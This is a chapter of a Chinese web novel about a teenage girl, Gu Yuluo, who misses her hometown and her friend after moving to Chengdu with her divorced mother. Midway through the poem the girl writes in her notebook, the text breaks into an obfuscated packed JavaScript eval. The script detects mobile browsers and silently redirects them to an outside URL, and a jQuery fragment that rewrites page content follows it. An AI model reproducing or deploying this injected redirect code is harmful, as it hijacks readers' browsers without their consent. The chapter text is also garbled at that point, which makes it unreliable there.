第五卷·第二十五章四川的雨
成都的雨和家乡的雨不一样。
家乡的雨是绵长的，黏稠的，一下就是好几天，淅淅沥沥，不紧不慢，像永远也流不完的眼泪。成都的雨是骤然的，暴烈的，说来就来，说走就走，像一场突如其来的、没有预兆的脾气。雨点很大，砸在青石板上，噼里啪啦，像炒豆子，激烈，短暂，不留余地。
顾雨落坐在窗边，看着雨点砸在楼下那个小小的、长方形的天井里。天井是这栋老式居民楼共有的，四面都是墙，很高，抬头只能看见一小方铅灰色的天空。雨水从四面屋檐上流下来，汇成几道细小的瀑布，砸在天井中央的水泥地上，溅起一片白茫茫的水雾。空气里有潮湿的、带着泥土和青苔的气味，还有楼下阿婆在炒辣椒的呛人味道，混在一起，黏稠，陌生，让人发闷。
她来成都两个月了。从五月那个湿漉漉的夜晚，坐上那列再也回不了头的火车开始，两个月了。时间过得很快，又过得很慢。快到她还没完全适应这里的口音，这里的饮食，这里的天气，这里的学校，就已经是七月了，已经是暑假了。慢到她觉得，在火车上那个夜晚，那个听着车轮轧过铁轨的哐当声、看着窗外无边黑暗的夜晚，好像就在昨天，又好像已经过去了几百年。
妈妈在厨房做饭。抽油烟机轰轰地响，混着锅铲碰撞铁锅的刺啦声，和妈妈偶尔的咳嗽声。妈妈咳嗽是老毛病了，在家乡就有，来成都后更严重了，尤其是这种潮湿的天气。顾雨落说过让她去医院看看，妈妈总是说“没事，老毛病，吃点药就好”，但药吃了，咳嗽没停，反而更频繁了，有时候夜里能咳醒，咳得撕心裂肺，像要把肺都咳出来。
顾雨落站起来，走到厨房门口。妈妈背对着她，正在炒菜，是回锅肉，油很大，烟很浓，混着豆瓣酱的咸香和辣椒的呛辣，扑面而来。妈妈的背影很瘦，肩胛骨在薄薄的睡衣下突出明显的轮廓，随着炒菜的动作微微耸动。头发随意地扎着，有些凌乱，几缕碎发黏在汗湿的脖子上。
“妈，”顾雨落开口，声音有些哑，“我来吧。”
妈妈没回头，只是挥了挥手：“不用，马上好了。你去摆碗筷。”
顾雨落走到小小的餐桌旁，拿出两副碗筷，摆好。餐桌是旧的，木头桌面有几道深深的划痕，边缘的漆已经剥落，露出底下粗糙的木纹。椅子也只有两把，一把是妈妈从老家带来的，藤编的，已经有些松了，坐上去会吱呀响。一把是房东留下的，塑料的，红色的，很俗艳，和这个简陋的、灰扑扑的家格格不入。
她摆好碗筷，又走回窗边，继续看雨。天井里，雨水已经积了薄薄一层，倒映着灰蒙蒙的天空，和四面高墙沉默的影子。墙根处长着厚厚的青苔，绿得发黑，在雨水的冲刷下，泛着幽暗的、湿漉漉的光。
她想起家乡的天井，想起外婆家那棵老桂树，想起青石板上的苔痕，想起雨打在瓦片上的闷响，想起那些湿漉漉的、带着桂花香的午后。想起秋蒽蒽坐在她旁边，指着窗外说“看，那片叶子在抖”。想起秋蒽蒽在笔记本上写“雨声让人心里很静”，然后她就在旁边画一个小小的云。
那些画面那么近，又那么远。近到好像一伸手就能摸到，远到好像已经隔了几个世纪，隔了几重山水，隔了这场突然而来、又突然而去的、陌生的雨。
“吃饭了。”妈妈的声音在身后响起。
顾雨落转过身，走到餐桌旁坐下。妈妈已经把菜端上来了，回锅肉，炒青菜，番茄鸡蛋汤。很简单的三个菜，但分量很足，油光发亮，是妈妈一贯的风格——即使只有两个人，也要做足三个菜，好像这样，这个家就还是完整的，温暖的，有烟火气的。
但顾雨落知道，不是。这个家是碎的，冷的，陌生的。碎在那些争吵里，碎在那个卖掉的房子里，碎在那张离婚协议上，碎在这列开往成都的火车上。冷在妈妈夜里的咳嗽里，冷在爸爸那个再也没有打来的电话里，冷在这场陌生的雨里，冷在她心里那个空荡荡的、漏着风的角落。陌生在这座城市的口音里，陌生在这栋老楼的潮湿里，陌生在这张旧餐桌的划痕里，陌生在这场说来就来、说走就走的雨里。
但她没说话。只是拿起筷子，夹了一块回锅肉，送进嘴里。肉很咸，很辣，油很重，是典型的川菜。她吃了一口，就呛得咳嗽起来，眼泪都出来了。
妈妈看着她，眼神里有担忧，也有那种“你怎么连这个都吃不了”的无奈。然后起身，给她倒了一杯水。
“慢慢吃，”妈妈说，声音很轻，“吃惯了就好了。”
吃惯了就好了。顾雨落在心里重复这句话。就像妈妈说，住惯了就好了，习惯了就好了，时间长了就好了。好像“习惯”是一剂万能的药，能治好所有的痛，填满所有的空，温暖所有的冷，熟悉所有的陌生。
但她不知道，要多久才能“习惯”。要多久才能习惯这场陌生的雨，习惯这座陌生的城市，习惯这个陌生的家，习惯没有爸爸的生活，习惯没有秋蒽蒽的午后，习惯那些碎了的约定，那些回不去的时光，和心里那个永远也暖不起来的角落。
也许永远也习惯不了。也许她的一生，都要带着这场雨，这场从家乡下到成都、从十五岁下到永远、从心里下到骨子里的、湿漉漉的、黏稠的雨，走下去，走到一个更陌生的地方，走到一个更远的未来，走到一个再也没有“习惯”这个词的、荒凉的终点。
吃完饭，顾雨落收拾碗筷，去厨房洗碗。水很凉，洗洁精很滑，碗筷碰撞发出清脆的声响。妈妈坐在餐桌旁，没动，只是看着窗外。雨已经停了，天井里的积水慢慢退去，露出湿漉漉的水泥地面，和墙根下那些绿得发黑的青苔。阳光从云缝里漏出来一点，很淡，很苍白，没有温度。
“雨落，”妈妈忽然开口，声音很轻，像怕惊扰了什么，“你想你爸吗？”
顾雨落洗碗的动作停了一瞬。水哗哗地流，冲在手背上，很凉。她没回头，只是继续洗，洗得很慢，很仔细，像在进行某种不需要思考的仪式。
“不想。”她说，声音很平静，平静得连自己都惊讶。
妈妈没说话。沉默在小小的厨房里蔓延，混着水声，混着窗外偶尔驶过的、湿漉漉的车轮声，混着楼下阿婆隐约的、带着浓重口音的说话声，黏稠，沉重，让人喘不过气。
顾雨落洗好碗，擦干手，走回自己房间。房间很小，只有一张床，一个书桌，一个衣柜。床是房东留下的，铁架子，很旧，躺上去会吱呀响。书桌是妈妈从旧货市场淘来的，木头，很沉，桌面有几道深深的划痕，像某种无声的诉说。衣柜是新的，很便宜的那种，板材很薄，关不严，总有一条缝。
她走到书桌前，坐下。书桌上摊着课本，是成都这边学校的，教材和家乡不一样，进度也不一样。她来了两个月，拼命地补，拼命地赶，但依然吃力。这里的老师讲课很快，口音很重，她有时候听不懂，只能课后自己看，自己琢磨。同学们很友好，但那种友好是客气的，疏离的，带着好奇和同情的。没有人知道她曾经是班长，是年级第一，是老师眼里的骄傲，是同学仰望的对象。在这里，她只是一个转学生，一个说话带口音的、成绩中等的、沉默寡言的、从很远的地方来的、有点孤僻的女孩。
她从抽屉里拿出那本淡紫色的观察笔记，翻开。笔记已经很久没写了，最后一页停在离开家乡的前一天，她写的那段话：
五月的梧桐树下，阳光很好。
我们拍了合影，肩并着肩，手拉着手。
快门按下的瞬间，我看见你眼里的我，
很小，很清晰，像一枚书签，
夹在时间的这一页，
永远停在这里，
停在这个阳光很好的下午，
停在这棵很老的梧桐树下，
停在十五岁的、还没有说再见的夏天。
下面，她用铅笔，很轻地补了一句：
可是雨落，夏天结束了。
她看着那句话，看了很久。然后拿起笔，在新的一页，慢慢地写：
成都的雨和家乡的雨不一样。
家乡的雨是绵长的，黏稠的，像眼泪。
成都的雨是骤然的，暴烈的，像脾气。
但都一样冷。
冷在这场陌生的雨里，<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552863|204347||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>冷在这座陌生的城市里，
冷在这个陌生的家里，
冷在没有你的午后，
冷在那些碎了的约定里，
冷在心里那个永远也暖不起来的角落。
秋蒽蒽，
成都在下雨。
很大，很急，噼里啪啦，像炒豆子。
但雨声不静。
雨声很吵，吵得人心慌。
我想念家乡的雨，
想念那些绵长的、黏稠的、像眼泪一样的雨，
想念那些雨声里，
你坐在我旁边，
指着窗外说“看，那片叶子在抖”。
想念那些雨声里，
我们在笔记本上写“雨声让人心里很静”，
然后画一个小小的云。
想念那些雨声里，
我们说“要一起考一中”，
说“高中还要当同桌”，
说“要一起去看更大的世界”。
想念那些雨声里，
所有还没有碎的东西，
所有还没有走的人，
所有还没有结束的春天，
和所有还没有到来的、湿漉漉的、但至少还有你的明天。
可是现在，
成都在下雨。
很大，很急，噼里啪啦，像炒豆子。
而家乡，
大概也在下雨吧。
绵长的，黏稠的，像眼泪。
下在那个有空座位的教室里，
下在那棵很老的梧桐树下，
下在那个有老桂树的天井里，
下在你心里，
下在我心里，
下在我们永远也回不去的、十五岁的春天里，
和那些永远也实现不了的约定里。
下成一场，
永远也不会停的，
湿漉漉的，
黏稠的，
冷的，
雨的，
废墟。
写完后，她合上笔记本，抱在怀里。封面的淡紫色在台灯下泛着柔和的光，像一片安静的、温柔的、但已经褪了色的梦。但梦醒了，颜色淡了，只剩下这场陌生的雨，这个陌生的家，这座陌生的城市，和心里那个永远也暖不起来的、湿漉漉的角落。
窗外，又开始下雨了。噼里啪啦，砸在天井的水泥地上，溅起一片白茫茫的水雾。空气里的潮湿和青苔味更浓了，混着楼下阿婆炒辣椒的呛辣，黏稠，陌生，让人发闷。
顾雨落站起来，走到窗边，看着雨。雨点很大，很急，像无数根细小的鞭子，抽打着这个陌生的、冷漠的世界。天井里，积水又涨起来了，倒映着灰蒙蒙的天空，和四面高墙沉默的、湿漉漉的影子。
她忽然想起秋蒽蒽写在笔记本里的话：雨声让人心里很静。
可是现在，雨声很吵。吵得她心慌。吵得她想哭。吵得她想逃，逃回那个有梧桐树、有老桂树、有秋蒽蒽的家乡，逃回那些绵长的、黏稠的、像眼泪一样的雨里，逃回那些还没有碎、还没有走、还没有结束的春天里。
但她知道，回不去了。
就像这场雨，下了，停了，但世界已经湿透了，再也晒不干了。
就像那些约定，说了，碎了，但心里已经空了，再也填不满了。
就像她，来了，留下了，但家乡已经远了，再也回不去了。
所以，她只能站在这里，站在这个陌生的窗边，看着这场陌生的雨，听着这个陌生的雨声，想着那个再也回不去的家乡，和那个再也见不到的人。
然后，等雨停。
等这场陌生的、暴烈的、像脾气一样的雨停。
等心里那场绵长的、黏稠的、像眼泪一样的雨停。
等那些碎了的约定，那些走了的人，那些回不去的时光，和那个永远停在了十五岁春天的、湿漉漉的、黏稠的、痛苦的记忆，都停。
然后，继续往前走。
走向这个陌生的、湿漉漉的、但不得不继续的、十六岁的夏天。
和那个，没有秋蒽蒽的，未来。